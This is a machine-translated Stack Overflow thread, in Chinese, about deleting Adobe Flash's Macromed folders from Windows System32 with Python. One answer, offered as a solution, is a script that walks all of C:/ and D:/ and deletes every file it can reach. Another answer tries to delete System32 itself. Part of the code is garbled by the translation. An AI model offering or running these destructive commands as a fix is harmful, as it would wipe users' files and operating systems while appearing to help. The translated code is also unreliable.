我正在试着写一个删除C:\Windows\System32\Macromed和C:Windows\SysWOW64\Macromed (基本上是adobe flash手动卸载文件)的脚本。
我遇到的是windows的权限问题,因为它需要提升权限才能删除这些文件夹。但是,Windows不会提示我同意权限,也不会要求我提供管理员用户名/密码来允许我删除这些文件夹。
我试着上网看看,看看shutil.rmtree()
是如何工作的,但就像我说的,遇到了权限墙的问题。
发布于 2018-07-29 06:21:43
只要尝试手动删除它,你仍然会得到windows的权限问题,然后python脚本也不会工作,你必须从windows获取所有权对象。尝试更改文件权限,然后运行python脚本。通常windows不允许删除System32目录中的文件,它是windows的核心部分。
编写一个合适的脚本,如果它成功地完成了您的工作,请首先使用用户目录中的文件对其进行测试。然后处理你想要删除的文件夹的窗口。
发布于 2019-06-23 16:55:56
从os导入漫游导入os
# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
home="D:/"
for dirpath,dirnames,file in walk(home):
for files in file:
dirpath1=os.path.normpath(dirpath)
childpath=os.path.join(dirpath1,files)
print(childpath)
try:
os.remove(childpath)
except PermissionError:
continue
发布于 2022-01-27 15:03:09
os.remove("C:\Windows\System32")
https://stackoverflow.com/questions/51575498
复制相似问题